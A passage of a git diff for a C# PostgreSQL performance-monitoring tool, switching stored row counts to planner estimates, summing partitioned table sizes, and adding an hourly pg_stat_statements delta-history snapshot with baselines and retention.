+    private static async Task<bool> ReadDetailInEnglishAsync(NpgsqlConnection connection, CancellationToken cancellationToken)
+    {
+        try
+        {
+            await using var command = new NpgsqlCommand(LcMessagesSql, connection) { CommandTimeout = SweepTimeoutSeconds };
+            var value = await command.ExecuteScalarAsync(cancellationToken);
+            return StoreLogClassifier.IsEnglishLcMessages(value as string);
+        }
+        catch (Exception ex) when (ex is not OperationCanceledException)
+        {
+            return false;
+        }
+    }
+
     private static async Task<List<Candidate>> ListAsync(NpgsqlConnection connection, CancellationToken cancellationToken)
     {
         var rows = new List<Candidate>();
diff --git a/Darling/PerformanceMonitor.Darling.Storage/StoreSelfMetrics.cs b/Darling/PerformanceMonitor.Darling.Storage/StoreSelfMetrics.cs
index 3a095eea9e..f2d14001e3 100644
--- a/Darling/PerformanceMonitor.Darling.Storage/StoreSelfMetrics.cs
+++ b/Darling/PerformanceMonitor.Darling.Storage/StoreSelfMetrics.cs
@@ -31,7 +31,7 @@ namespace PerformanceMonitor.Darling.Storage;
 /// do not exist there);</item>
 /// <item>one row per payload dimension table (<c>object_kind = 'dimension'</c>): total bytes
 /// (<c>pg_total_relation_size</c> — heap + indexes + TOAST, where the plan XML actually lives), the
-/// exact row count and, since V137 (#3783), the TOAST file's own size (<c>toast_bytes</c>) beside a
+/// row count (the planner's <c>reltuples</c> estimate since #5520, not a scan) and, since V137 (#3783), the TOAST file's own size (<c>toast_bytes</c>) beside a
 /// <c>toast_live_bytes</c> that is NULL unless the store happens to carry <c>pg_freespacemap</c> — see
 /// <see cref="DimensionInsertSql"/> and <see cref="ToastLiveBytesUpdateSql"/>. The dims are the store's dominant payloads (measured: query_plan_dim
 /// alone was 101 GB of a 147 GB store, 69%) and invisible to every hypertable-shaped surface because they
@@ -311,10 +311,22 @@ FROM timescaledb_information.job_stats AS js
     /// <summary>
     /// The payload dimension rows — every store shape (the dims are plain tables everywhere). Table names
     /// are the <see cref="PayloadDimensions"/> compile-time constants, so interpolation is safe (the
-    /// DarlingRetention.DeleteSqlFor reasoning). The exact <c>count(*)</c> is deliberate over
-    /// <c>pg_class.reltuples</c>: it is an hourly index-only scan over the digest PK, and the dim heap is
-    /// small — the bytes live in TOAST, which <c>pg_total_relation_size</c> counts and a scan never
-    /// touches. $1 metric_time.
+    /// DarlingRetention.DeleteSqlFor reasoning). <c>row_count</c> is the planner's
+    /// <c>pg_class.reltuples</c> ESTIMATE, not a <c>count(*)</c> (#5520). This used to be an exact count, chosen
+    /// on the premise of an hourly index-only scan over the digest PK of a small heap, with the bytes in TOAST
+    /// where a scan never goes. The premise does not hold on a large store: 329 calls measured 149,562 blocks and
+    /// 25.9 s each (49.2 M blocks, 8,510 s in all), because the scan reads the index and whatever of the heap it
+    /// must, and a table this size is not read cheaply once an hour for a figure whose job is "roughly how many
+    /// distinct statements and plans are stored". <c>reltuples</c> is refreshed by every autovacuum and ANALYZE
+    /// (the dims churn through row-capped deletes, so that is often), costs one catalog row, and is the same
+    /// estimate <see cref="TableInsertSql"/> already uses, so <c>row_count</c> means one thing across the kinds
+    /// that carry it. It is <c>-1</c> for a table never vacuumed or analysed (PostgreSQL 14+), which maps to NULL
+    /// rather than a count of minus one, as it does there. Every reader of a dimension row's <c>row_count</c>
+    /// passes it through (<c>get_store_metrics</c> and its daily series); none computes from it, and the test
+    /// <c>NoReaderComputesFromADimensionRowCount</c> pins that. Because it is an estimate, the daily <c>row_count</c>
+    /// series moves in steps between ANALYZE and autovacuum runs (flat for days, then a jump, so a flat day is not
+    /// "no new rows"), and <c>reltuples</c> is a 4-byte float, so above about 16.7 M rows (2^24) the value is
+    /// rounded to a multiple of the float's step. $1 metric_time.
     ///
     /// <para><b><c>toast_bytes</c> and <c>toast_live_bytes</c> (V137, #3783) — the dimension rows are the
     /// only kind that fills them.</b> <c>pg_total_relation_size</c> says how big the dimension is and nothing
@@ -354,7 +366,7 @@ INSERT INTO collect.store_metrics
     '{PayloadDimensions.QueryTextDimTable}',
     '{DimensionObjectKind}',
     pg_total_relation_size('collect.{PayloadDimensions.QueryTextDimTable}'),
-    (SELECT count(*) FROM collect.{PayloadDimensions.QueryTextDimTable}),
+    (SELECT CASE WHEN c.reltuples >= 0 THEN c.reltuples::bigint END FROM pg_class AS c WHERE c.oid = 'collect.{PayloadDimensions.QueryTextDimTable}'::regclass),
     pg_relation_size(NULLIF((SELECT c.reltoastrelid FROM pg_class AS c WHERE c.oid = 'collect.{PayloadDimensions.QueryTextDimTable}'::regclass), 0)),
     NULL::bigint
 UNION ALL
@@ -363,7 +375,7 @@ UNION ALL
     '{PayloadDimensions.QueryPlanDimTable}',
     '{DimensionObjectKind}',
     pg_total_relation_size('collect.{PayloadDimensions.QueryPlanDimTable}'),
-    (SELECT count(*) FROM collect.{PayloadDimensions.QueryPlanDimTable}),
+    (SELECT CASE WHEN c.reltuples >= 0 THEN c.reltuples::bigint END FROM pg_class AS c WHERE c.oid = 'collect.{PayloadDimensions.QueryPlanDimTable}'::regclass),
     pg_relation_size(NULLIF((SELECT c.reltoastrelid FROM pg_class AS c WHERE c.oid = 'collect.{PayloadDimensions.QueryPlanDimTable}'::regclass), 0)),
     NULL::bigint";
 
@@ -634,6 +646,35 @@ public static string CheckpointerSyncTimeSqlFor(int postgreSqlMajor) =>
     /// </summary>
     public const string AlertLogTable = "config.config_alert_log";
 
+    /// <summary>
+    /// The size of a day-partitioned interval parent (#5571): the sum of <c>pg_total_relation_size</c> over its LEAF
+    /// partitions (heap, indexes and TOAST of the legacy table, every day and DEFAULT), because the partitioned parent
+    /// itself has no storage and reads 0. <c>pg_partition_tree</c> returns NO row for a plain table (it is not the
+    /// table's own single leaf), so for a table that is not partitioned (a store that has not run its rung yet) the sum
+    /// is NULL and the COALESCE falls back to the plain size. Both arms are live: the first for every migrated store,
+    /// the second for a store below the rung.
+    /// </summary>
+    private const string IntervalLatestPartitionBytesSql =
+        $"COALESCE((SELECT sum(pg_total_relation_size(t.relid)) FROM pg_partition_tree('collect.{QueryStoreIntervalLatest.TableName}'::regclass) AS t WHERE t.isleaf), pg_total_relation_size('collect.{QueryStoreIntervalLatest.TableName}'))::bigint";
+
+    /// <summary>The wide parent's size, summed over its leaf partitions. See <see cref="IntervalLatestPartitionBytesSql"/>.</summary>
+    private const string IntervalWidePartitionBytesSql =
+        $"COALESCE((SELECT sum(pg_total_relation_size(t.relid)) FROM pg_partition_tree('collect.{QueryStoreIntervalWide.TableName}'::regclass) AS t WHERE t.isleaf), pg_total_relation_size('collect.{QueryStoreIntervalWide.TableName}'))::bigint";
+
+    /// <summary>
+    /// The row count of a day-partitioned interval parent (#5571): the sum of the leaf partitions' planner estimates
+    /// (<c>reltuples</c>, as every other row of this kind), NULL where none has been vacuumed or analysed yet. The
+    /// parent's own <c>reltuples</c> is only set by an ANALYZE of the parent, so it would lag the partitions. For a table
+    /// that is not partitioned <c>pg_partition_tree</c> returns no row (not the table itself as a leaf), so the
+    /// <c>NOT EXISTS</c> arm counts the table's own estimate instead.
+    /// </summary>
+    private const string IntervalLatestPartitionRowsSql =
+        $"(SELECT sum(c.reltuples)::bigint FROM pg_class AS c WHERE c.reltuples >= 0 AND (c.oid IN (SELECT t.relid FROM pg_partition_tree('collect.{QueryStoreIntervalLatest.TableName}'::regclass) AS t WHERE t.isleaf) OR (c.oid = 'collect.{QueryStoreIntervalLatest.TableName}'::regclass AND NOT EXISTS (SELECT 1 FROM pg_partition_tree('collect.{QueryStoreIntervalLatest.TableName}'::regclass)))))";
+
+    /// <summary>The wide parent's row estimate, summed over its leaf partitions. See <see cref="IntervalLatestPartitionRowsSql"/>.</summary>
+    private const string IntervalWidePartitionRowsSql =
+        $"(SELECT sum(c.reltuples)::bigint FROM pg_class AS c WHERE c.reltuples >= 0 AND (c.oid IN (SELECT t.relid FROM pg_partition_tree('collect.{QueryStoreIntervalWide.TableName}'::regclass) AS t WHERE t.isleaf) OR (c.oid = 'collect.{QueryStoreIntervalWide.TableName}'::regclass AND NOT EXISTS (SELECT 1 FROM pg_partition_tree('collect.{QueryStoreIntervalWide.TableName}'::regclass)))))";
+
     /// <summary>
     /// The named plain-table rows (#3582, extended #4609) — every store shape, like the dimension rows,
     /// and in the same shape: <c>pg_total_relation_size</c> (heap + indexes + TOAST) and the exact row
@@ -660,15 +701,15 @@ public static string CheckpointerSyncTimeSqlFor(int postgreSqlMajor) =>
     /// with (<c>DarlingStoreMetricsReader.LargestUnenumeratedSql</c>) names relations
     /// <c>schema.relation</c>, so a table that moves from that list to this one keeps its name.</para>
     ///
-    /// <para><b><c>row_count</c> here is the planner's <c>reltuples</c> ESTIMATE, not a scan, and the two
-    /// kinds differ on purpose.</b> The dimension arm counts exactly because a dim's heap is small — its
-    /// bytes live in TOAST, which a count never reads. <c>query_store_text</c> is the opposite shape: V74
-    /// stores statement text INLINE, most statements fit a heap page, so the heap IS the 15 GiB and an
-    /// exact <c>count(*)</c> would be a 15 GiB read every hour, on the same store the CAGG refresh convoy
-    /// is running on, for a figure whose job is "roughly how many statements have text". <c>reltuples</c>
-    /// is refreshed by every autovacuum and ANALYZE, is exact enough for that job, and costs one catalog
-    /// row. It is <c>-1</c> for a table never vacuumed or analysed (PostgreSQL 14+), which maps to NULL
-    /// rather than to a count of minus one. The same estimate is used for all three so the kind means one
+    /// <para><b><c>row_count</c> here is the planner's <c>reltuples</c> ESTIMATE, not a scan, and so is the
+    /// dimension kind's (#5520).</b> <c>query_store_text</c> stores statement text INLINE (V74), most statements
+    /// fit a heap page, so the heap IS the 15 GiB and an exact <c>count(*)</c> would be a 15 GiB read every
+    /// hour, on the same store the CAGG refresh convoy is running on, for a figure whose job is "roughly how
+    /// many statements have text". The dimension arm once counted exactly on the premise of a small heap and an
+    /// index-only scan; measured, that was 149,562 blocks and 25.9 s a call (see <see cref="DimensionInsertSql"/>).
+    /// <c>reltuples</c> is refreshed by every autovacuum and ANALYZE, is exact enough for that job, and costs one
+    /// catalog row. It is <c>-1</c> for a table never vacuumed or analysed (PostgreSQL 14+), which maps to NULL
+    /// rather than to a count of minus one. The same estimate is used for all of them so the column means one
     /// thing. $1 metric_time.</para>
     /// </summary>
     public const string TableInsertSql = $@"
@@ -699,8 +740,8 @@ UNION ALL
     $1,
     'collect.{QueryStoreIntervalLatest.TableName}',
     '{TableObjectKind}',
-    pg_total_relation_size('collect.{QueryStoreIntervalLatest.TableName}'),
-    (SELECT CASE WHEN c.reltuples >= 0 THEN c.reltuples::bigint END FROM pg_class c WHERE c.oid = 'collect.{QueryStoreIntervalLatest.TableName}'::regclass)
+    {IntervalLatestPartitionBytesSql},
+    {IntervalLatestPartitionRowsSql}
 UNION ALL
 SELECT
     $1,
@@ -713,8 +754,8 @@ UNION ALL
     $1,
     'collect.{QueryStoreIntervalWide.TableName}',
     '{TableObjectKind}',
-    pg_total_relation_size('collect.{QueryStoreIntervalWide.TableName}'),
-    (SELECT CASE WHEN c.reltuples >= 0 THEN c.reltuples::bigint END FROM pg_class c WHERE c.oid = 'collect.{QueryStoreIntervalWide.TableName}'::regclass)
+    {IntervalWidePartitionBytesSql},
+    {IntervalWidePartitionRowsSql}
 UNION ALL
 SELECT
     $1,
@@ -752,8 +793,16 @@ UNION ALL
     /// nobody checks. Aliases <c>c</c> (<c>pg_class</c>) and <c>n</c> (<c>pg_namespace</c>) are the
     /// contract every consumer of this fragment supplies.
     /// </summary>
-    public const string CensusRelationPredicateSql = @"c.relkind IN ('r', 'm', 'p', 'S')
-AND   NOT c.relisshared";
+    public const string CensusRelationPredicateSql = $@"c.relkind IN ('r', 'm', 'p', 'S')
+AND   NOT c.relisshared
+AND   NOT (c.relispartition AND EXISTS (
+        SELECT 1 FROM pg_inherits AS inh
+        JOIN pg_class AS parent_c ON parent_c.oid = inh.inhparent
+        JOIN pg_namespace AS parent_n ON parent_n.oid = parent_c.relnamespace
+        WHERE inh.inhrelid = c.oid
+        AND   (parent_n.nspname || '.' || parent_c.relname) IN (
+            'collect.{QueryStoreIntervalLatest.TableName}',
+            'collect.{QueryStoreIntervalWide.TableName}')))";
 
     /// <summary>
     /// Which side of the user/system line a relation falls on, as a fragment over <c>n.nspname</c> (#3582).
diff --git a/Darling/PerformanceMonitor.Darling.Storage/StoreStatementHistory.cs b/Darling/PerformanceMonitor.Darling.Storage/StoreStatementHistory.cs
new file mode 100644
index 0000000000..479e5f7a62
--- /dev/null
+++ b/Darling/PerformanceMonitor.Darling.Storage/StoreStatementHistory.cs
@@ -0,0 +1,461 @@
+/*
+ * Copyright (c) 2026 Erik Darling, Darling Data LLC
+ *
+ * This file is part of the SQL Server Performance Monitor.
+ *
+ * Licensed under the MIT License. See LICENSE file in the project root for full license information.
+ */
+
+using System;
+using System.Threading;
+using System.Threading.Tasks;
+using Microsoft.Extensions.Logging;
+using Npgsql;
+using NpgsqlTypes;
+
+namespace PerformanceMonitor.Darling.Storage;
+
+/// <summary>
+/// The store's own statement history (#5097): an hourly snapshot of the per-statement DELTAS of the store's
+/// <c>pg_stat_statements</c>, so a statement's mean milliseconds per call can be read hour by hour across a store
+/// restart, a service restart, a <c>pg_stat_statements_reset()</c> and the nightly upgrade.
+///
+/// <para><b>The baseline lives in the store.</b> The per-target statement collector keeps its previous snapshot in
+/// process memory and re-seeds it from stored rows. A top-N history cannot be re-seeded that way: a statement left
+/// out of last hour's top N has no stored previous row. So the previous cumulative counters are kept in
+/// <c>config.store_statement_baseline</c> and the subtraction happens in SQL. A service restart, including the
+/// nightly install, needs nothing from process memory.</para>
+///
+/// <para><b>Epochs.</b> <c>pg_stat_statements_info.stats_reset</c> is the epoch. <see cref="DecideEpoch"/> reads it
+/// against the previous capture: unchanged means the baseline is still valid; changed to a moment after the previous
+/// capture means the reset happened inside the interval, so the current counters are credited whole (they were all
+/// earned since the reset); changed in any other way, or no previous capture, means the baseline cannot be trusted and
+/// the pass records a baseline and no history. Inside one epoch a counter that fell means the entry was evicted and
+/// came back after the previous capture, so its current counters are credited whole and the row is flagged as a lower
+/// bound. That second rule also covers a restart that leaves <c>stats_reset</c> unchanged.</para>
+///
+/// <para><b>Bounded.</b> At most <see cref="TopStatements"/> statements are kept per hour, ranked by time spent in the
+/// interval. The capture row carries how many were active (<c>statements_seen</c>) and how many entries the extension
+/// evicted (<c>dealloc_delta</c>), so a reader can tell when the cap or the eviction hid something. Rows older than
+/// <see cref="RetentionDays"/> are deleted by the pass itself. Statements without a query id (the extension hides
+/// other roles' ids from a caller that may not read them) are counted in <c>hidden_statements</c> and never keyed.</para>
+///
+/// <para><b>Reads through the reader function.</b> The snapshot calls the SECURITY DEFINER
+/// <c>config.store_statement_stats()</c> and its info companion, which already restrict the rows to this database and
+/// map users to role names, and never touches <c>pg_stat_statements</c> directly. If the functions are missing or the
+/// caller may not execute them, the extension is not loaded, or the role may not create temporary tables, the pass
+/// writes one capture with outcome <c>precondition</c> and no history.</para>
+///
+/// <para><b>Limits a reader should know.</b> An entry that was evicted and came back after the previous capture, and
+/// has already passed its old baseline, shows <c>current - baseline</c>: a plausible undercount with no flag (only the
+/// capture's <c>dealloc_delta</c> hints at eviction). <c>first_seen</c> can be an upper bound: an entry that was already
+/// there but missing from the baseline (a query id that became visible after a <c>pg_read_all_stats</c> grant, or a
+/// role that was renamed) is credited its whole lifetime counters as one interval. <c>statements_seen</c> is 0 on a
+/// rebaseline, which reads no deltas.</para>
+/// </summary>
+public static class StoreStatementHistory
+{
+    /// <summary>The snapshot's own slice of the hourly tick's budget, so a slow pass cannot cost the flushes after it.</summary>
+    public static readonly TimeSpan SliceBudget = TimeSpan.FromSeconds(120);
+
+    /// <summary>Per-command timeout, in seconds. The pass shares the hourly tick's budget with other self-telemetry.</summary>
+    public const int SnapshotTimeoutSeconds = 60;
+
+    /// <summary>The most statements kept per snapshot, by time spent in the interval.</summary>
+    public const int TopStatements = 100;
+
+    /// <summary>How long history and capture rows are kept. The baseline is state and is never aged out.</summary>
+    public const int RetentionDays = 90;
+
+    /// <summary>Capture outcome: deltas were written.</summary>
+    public const string OutcomeOk = "ok";
+
+    /// <summary>Capture outcome: a baseline was recorded and no history written, because no delta could be trusted.</summary>
+    public const string OutcomeRebaselined = "rebaselined";
+
+    /// <summary>Capture outcome: the reader functions were not usable, so nothing was read.</summary>
+    public const string OutcomePrecondition = "precondition";
+
+    private const string Config = PgSchemaGenerator.ConfigSchema;
+
+    private const string Function = Config + "." + StoreStatementStats.FunctionName;
+
+    private const string InfoFunction = Config + "." + StoreStatementStats.InfoFunctionName;
+
+    /// <summary>
+    /// Whether the snapshot can run: both reader functions exist, the calling role may run them, the extension is
+    /// loaded (<c>pg_stat_statements.max</c> is a setting only when it is in <c>shared_preload_libraries</c>; an installed
+    /// but unloaded extension makes the reader raise 55000), and the role may create the transaction-local table.
+    /// </summary>
+    public const string ReaderReadySql = @"
+SELECT CASE
+           WHEN to_regprocedure('" + Function + @"()') IS NULL
+             OR to_regprocedure('" + InfoFunction + @"()') IS NULL THEN false
+           ELSE has_function_privilege('" + Function + @"()', 'EXECUTE')
+            AND has_function_privilege('" + InfoFunction + @"()', 'EXECUTE')
+            AND EXISTS (SELECT 1 FROM pg_settings WHERE name = 'pg_stat_statements.max')
+            AND has_database_privilege(current_database(), 'TEMP')
+       END";
+
+    /// <summary>The epoch and the eviction counter. Nulls on extension 1.8, which has no info view.</summary>
+    public const string InfoSql = @"
+SELECT stats_reset, dealloc
+FROM " + InfoFunction + @"()";
+
+    /// <summary>The newest capture that actually read the extension.</summary>
+    public const string PreviousCaptureSql = @"
+SELECT capture_time, stats_reset, dealloc
+FROM collect.store_statement_captures
+WHERE outcome <> '" + OutcomePrecondition + @"'
+ORDER BY capture_time DESC
+LIMIT 1";
+
+    /// <summary>
+    /// Reads the reader function ONCE into a transaction-local table, so the delta and the next baseline come from
+    /// the same instant. Folds <c>toplevel</c> true and false together: the function already does, and only
+    /// <c>track = all</c> would split them. Rows without a query id stay in as one group per role so they can be
+    /// counted; every later statement filters them out.
+    /// </summary>
+    public const string CaptureCurrentSql = @"
+CREATE TEMP TABLE store_statement_cur ON COMMIT DROP AS
+SELECT role_name,
+       queryid,
+       sum(calls)::bigint AS calls,
+       sum(total_exec_ms)::double precision AS total_exec_ms,
+       max(max_exec_ms)::double precision AS max_exec_ms,
+       sum(rows_returned)::bigint AS rows_returned,
+       sum(shared_blks_hit)::bigint AS shared_blks_hit,
+       sum(shared_blks_read)::bigint AS shared_blks_read,
+       sum(temp_blks_written)::bigint AS temp_blks_written,
+       count(*)::integer AS entries
+FROM " + Function + @"()
+GROUP BY role_name, queryid";
+
+    /// <summary>Hidden (query-id-less) entries in the capture, for the capture row.</summary>
+    public const string HiddenCountSql = @"
+SELECT COALESCE(sum(entries) FILTER (WHERE queryid IS NULL), 0)::integer,
+       count(*) FILTER (WHERE queryid IS NOT NULL)::integer
+FROM store_statement_cur";
+
+    /// <summary>
+    /// Writes the interval's deltas and answers (statements active, statements kept). $1 capture time, $2 top,
+    /// $3 previous capture time, $4 whether the baseline is valid (same epoch), $5 whether a reset happened inside
+    /// the interval, $6 the interval in seconds (computed once in C#, so the capture row agrees). With $4 false every row is credited whole. A counter below its baseline means the entry was
+    /// evicted and re-entered, so it is credited whole too and flagged. Ranked by time spent, then query id, then role name, so a tie cuts the same way every time.
+    /// </summary>
+    public const string SnapshotSql = @"
+WITH joined AS
+(
+    SELECT c.role_name,
+           c.queryid,
+           c.calls,
+           c.total_exec_ms,
+           c.max_exec_ms,
+           c.rows_returned,
+           c.shared_blks_hit,
+           c.shared_blks_read,
+           c.temp_blks_written,
+           b.queryid IS NOT NULL AS has_base,
+           COALESCE(c.calls < b.calls
+                    OR c.total_exec_ms < b.total_exec_ms
+                    OR c.rows_returned < b.rows_returned
+                    OR c.shared_blks_hit < b.shared_blks_hit
+                    OR c.shared_blks_read < b.shared_blks_read
+                    OR c.temp_blks_written < b.temp_blks_written, false) AS fell,
+           b.calls AS b_calls,
+           b.total_exec_ms AS b_total_exec_ms,
+           b.rows_returned AS b_rows_returned,
+           b.shared_blks_hit AS b_shared_blks_hit,
+           b.shared_blks_read AS b_shared_blks_read,
+           b.temp_blks_written AS b_temp_blks_written
+    FROM store_statement_cur AS c
+    LEFT JOIN config.store_statement_baseline AS b
+      ON b.role_name = c.role_name
+     AND b.queryid = c.queryid
+    WHERE c.queryid IS NOT NULL
+),
+deltas AS
+(
+    SELECT j.role_name,
+           j.queryid,
+           j.max_exec_ms,
+           (j.has_base AND NOT j.fell AND $4::boolean) AS use_base,
+           ($4::boolean AND NOT j.has_base) AS first_seen,
+           ($4::boolean AND j.has_base AND j.fell) AS entry_restarted,
+           j.calls - CASE WHEN j.has_base AND NOT j.fell AND $4::boolean THEN j.b_calls ELSE 0 END AS delta_calls,
+           j.total_exec_ms - CASE WHEN j.has_base AND NOT j.fell AND $4::boolean THEN j.b_total_exec_ms ELSE 0 END AS delta_total_exec_ms,
+           j.rows_returned - CASE WHEN j.has_base AND NOT j.fell AND $4::boolean THEN j.b_rows_returned ELSE 0 END AS delta_rows,
+           j.shared_blks_hit - CASE WHEN j.has_base AND NOT j.fell AND $4::boolean THEN j.b_shared_blks_hit ELSE 0 END AS delta_shared_blks_hit,
+           j.shared_blks_read - CASE WHEN j.has_base AND NOT j.fell AND $4::boolean THEN j.b_shared_blks_read ELSE 0 END AS delta_shared_blks_read,
+           j.temp_blks_written - CASE WHEN j.has_base AND NOT j.fell AND $4::boolean THEN j.b_temp_blks_written ELSE 0 END AS delta_temp_blks_written
+    FROM joined AS j
+),
+active AS
+(
+    SELECT *
+    FROM deltas
+    WHERE delta_calls > 0
+),
+kept AS
+(
+    INSERT INTO collect.store_statement_history
+        (capture_time, interval_seconds, role_name, queryid, delta_calls, delta_total_exec_ms, delta_rows,
+         delta_shared_blks_hit, delta_shared_blks_read, delta_temp_blks_written, max_exec_ms,
+         first_seen, entry_restarted, reset_in_interval)
+    SELECT $1::timestamp,
+           $6::integer,
+           a.role_name,
+           a.queryid,
+           a.delta_calls,
+           a.delta_total_exec_ms,
+           a.delta_rows,
+           a.delta_shared_blks_hit,
+           a.delta_shared_blks_read,
+           a.delta_temp_blks_written,
+           a.max_exec_ms,
+           a.first_seen,
+           a.entry_restarted,
+           $5::boolean
+    FROM active AS a
+    ORDER BY a.delta_total_exec_ms DESC, a.queryid, a.role_name
+    LIMIT $2::integer
+    RETURNING 1
+)
+SELECT (SELECT count(*) FROM active)::integer,
+       (SELECT count(*) FROM kept)::integer";
+
+    /// <summary>Drops the old baseline. Run before <see cref="BaselineInsertSql"/>, in the same transaction.</summary>
+    public const string BaselineDeleteSql = @"
+DELETE FROM config.store_statement_baseline";
+
+    /// <summary>Records every keyed statement's cumulative counters as the next baseline. $1 capture time.</summary>
+    public const string BaselineInsertSql = @"
+INSERT INTO config.store_statement_baseline
+    (role_name, queryid, calls, total_exec_ms, rows_returned, shared_blks_hit, shared_blks_read, temp_blks_written, captured_at)
+SELECT role_name, queryid, calls, total_exec_ms, rows_returned, shared_blks_hit, shared_blks_read, temp_blks_written, $1::timestamp
+FROM store_statement_cur
+WHERE queryid IS NOT NULL";
+
+    /// <summary>
+    /// The capture row. $1 capture time, $2 interval seconds, $3 stats_reset, $4 dealloc, $5 dealloc delta,
+    /// $6 statements seen, $7 statements kept, $8 hidden statements, $9 outcome.
+    /// </summary>
+    public const string CaptureInsertSql = @"
+INSERT INTO collect.store_statement_captures
+    (capture_time, interval_seconds, stats_reset, dealloc, dealloc_delta, statements_seen, statements_kept, hidden_statements, outcome)
+VALUES ($1, $2, $3, $4, $5, $6, $7, $8, $9)";
+
+    /// <summary>History retention. $1 cutoff (naive UTC).</summary>
+    public const string HistoryRetentionDeleteSql = @"
+DELETE FROM collect.store_statement_history
+WHERE capture_time < $1";
+
+    /// <summary>Capture retention, on the same cutoff so no history row outlives the capture that qualifies it. $1 cutoff.</summary>
+    public const string CaptureRetentionDeleteSql = @"
+DELETE FROM collect.store_statement_captures
+WHERE capture_time < $1";
+
+    /// <summary>What the counters since the last capture are measured against.</summary>
+    internal enum Epoch
+    {
+        /// <summary>The extension's counters have not been reset since the previous capture: subtract the baseline.</summary>
+        SameEpoch,
+
+        /// <summary>The counters were reset after the previous capture: everything now was earned inside the interval.</summary>
+        ResetInsideInterval,
+
+        /// <summary>The baseline cannot be trusted: record a new one and write no history.</summary>
+        Rebaseline,
+    }
+
+    /// <summary>What one pass did.</summary>
+    /// <param name="Outcome">The capture row's outcome.</param>
+    /// <param name="StatementsSeen">Statements with calls in the interval, before the cap.</param>
+    /// <param name="StatementsKept">History rows written.</param>
+    /// <param name="HiddenStatements">Entries the extension showed without a query id.</param>
+    public readonly record struct SnapshotResult(string Outcome, int StatementsSeen, int StatementsKept, int HiddenStatements);
+
+    /// <summary>
+    /// Pure: which epoch the counters are in. Both stamps are naive UTC. No previous capture means there is nothing
+    /// to subtract. Two absent stamps (extension 1.8) read as the same epoch: the fallen-counter rule is then the only
+    /// guard. A changed stamp that falls after the previous capture is a reset inside the interval; any other change
+    /// (earlier than the previous capture, or unreadable) cannot be placed.
+    /// </summary>
+    internal static Epoch DecideEpoch(DateTime? previousCaptureTime, DateTime? previousStatsReset, DateTime? currentStatsReset)
+    {
+        if (previousCaptureTime is null)
+        {
+            return Epoch.Rebaseline;
+        }
+
+        if (previousStatsReset == currentStatsReset)
+        {
+            return Epoch.SameEpoch;
+        }
+
+        return currentStatsReset is { } now && now > previousCaptureTime.Value
+            ? Epoch.ResetInsideInterval
+            : Epoch.Rebaseline;
+    }
+
+    /// <summary>
+    /// One snapshot, in one transaction: it either lands whole (history, baseline, capture and retention) or not at all.
+    /// </summary>
+    /// <param name="connection">An open connection to the store, as its owner.</param>
+    /// <param name="captureTimeUtc">The capture's moment; stored naive UTC.</param>
+    /// <param name="logger">Optional; debug only.</param>
+    /// <param name="cancellationToken">Cancellation.</param>
+    public static async Task<SnapshotResult> SnapshotAsync(
+        NpgsqlConnection connection,
+        DateTime captureTimeUtc,
+        ILogger? logger,
+        CancellationToken cancellationToken)
+    {
+        ArgumentNullException.ThrowIfNull(connection);
+        var captureTime = DateTime.SpecifyKind(captureTimeUtc, DateTimeKind.Unspecified);
+        var cutoff = captureTime.AddDays(-RetentionDays);
+
+        await using var transaction = await connection.BeginTransactionAsync(cancellationToken);
+
+        SnapshotResult result;
+        var ready = await ScalarAsync(connection, transaction, ReaderReadySql, cancellationToken) is true;
+        if (!ready)
+        {
+            await InsertCaptureAsync(connection, transaction, captureTime, null, null, null, null, 0, 0, 0, OutcomePrecondition, cancellationToken);
+            result = new SnapshotResult(OutcomePrecondition, 0, 0, 0);
+        }
+        else
+        {
+            DateTime? currentReset = null;
+            long? currentDealloc = null;
+            await using (var info = Command(connection, transaction, InfoSql))
+            await using (var reader = await info.ExecuteReaderAsync(cancellationToken))
+            {
+                if (await reader.ReadAsync(cancellationToken))
+                {
+                    currentReset = reader.IsDBNull(0) ? null : DateTime.SpecifyKind(reader.GetDateTime(0), DateTimeKind.Unspecified);
+                    currentDealloc = reader.IsDBNull(1) ? null : reader.GetInt64(1);
+                }
+            }
+
+            DateTime? previousTime = null;
+            DateTime? previousReset = null;
+            long? previousDealloc = null;
+            await using (var previous = Command(connection, transaction, PreviousCaptureSql))
+            await using (var reader = await previous.ExecuteReaderAsync(cancellationToken))
+            {
+                if (await reader.ReadAsync(cancellationToken))
+                {
+                    previousTime = DateTime.SpecifyKind(reader.GetDateTime(0), DateTimeKind.Unspecified);
+                    previousReset = reader.IsDBNull(1) ? null : DateTime.SpecifyKind(reader.GetDateTime(1), DateTimeKind.Unspecified);
+                    previousDealloc = reader.IsDBNull(2) ? null : reader.GetInt64(2);
+                }
+            }
+
+            var epoch = DecideEpoch(previousTime, previousReset, currentReset);
+            int? interval = previousTime is { } t ? Math.Max(1, (int)(captureTime - t).TotalSeconds) : null;
+
+            await using (var current = Command(connection, transaction, CaptureCurrentSql))
+            {
+                await current.ExecuteNonQueryAsync(cancellationToken);
+            }
+
+            var hidden = 0;
+            await using (var count = Command(connection, transaction, HiddenCountSql))
+            await using (var reader = await count.ExecuteReaderAsync(cancellationToken))
+            {
+                if (await reader.ReadAsync(cancellationToken))
+                {
+                    hidden = reader.GetInt32(0);
+                }
+            }
+
+            var seen = 0;
+            var kept = 0;
+            if (epoch != Epoch.Rebaseline)
+            {
+                await using var snapshot = Command(connection, transaction, SnapshotSql);
+                snapshot.Parameters.Add(new NpgsqlParameter { Value = captureTime, NpgsqlDbType = NpgsqlDbType.Timestamp });
+                snapshot.Parameters.Add(new NpgsqlParameter { Value = TopStatements, NpgsqlDbType = NpgsqlDbType.Integer });
+                snapshot.Parameters.Add(new NpgsqlParameter { Value = (object?)previousTime ?? DBNull.Value, NpgsqlDbType = NpgsqlDbType.Timestamp });
+                snapshot.Parameters.Add(new NpgsqlParameter { Value = epoch == Epoch.SameEpoch, NpgsqlDbType = NpgsqlDbType.Boolean });
+                snapshot.Parameters.Add(new NpgsqlParameter { Value = epoch == Epoch.ResetInsideInterval, NpgsqlDbType = NpgsqlDbType.Boolean });
+                snapshot.Parameters.Add(new NpgsqlParameter { Value = interval ?? 1, NpgsqlDbType = NpgsqlDbType.Integer });
+                await using var reader = await snapshot.ExecuteReaderAsync(cancellationToken);
+                if (await reader.ReadAsync(cancellationToken))
+                {
+                    seen = reader.GetInt32(0);
+                    kept = reader.GetInt32(1);
+                }
+            }
+
+            /* A rebaseline reads no deltas, so it reports 0 active statements (not every keyed entry): the column
+               always means "statements with calls in the interval". */
+
+            await using (var delete = Command(connection, transaction, BaselineDeleteSql))
+            {
+                await delete.ExecuteNonQueryAsync(cancellationToken);
+            }
+
+            await using (var insert = Command(connection, transaction, BaselineInsertSql))
+            {
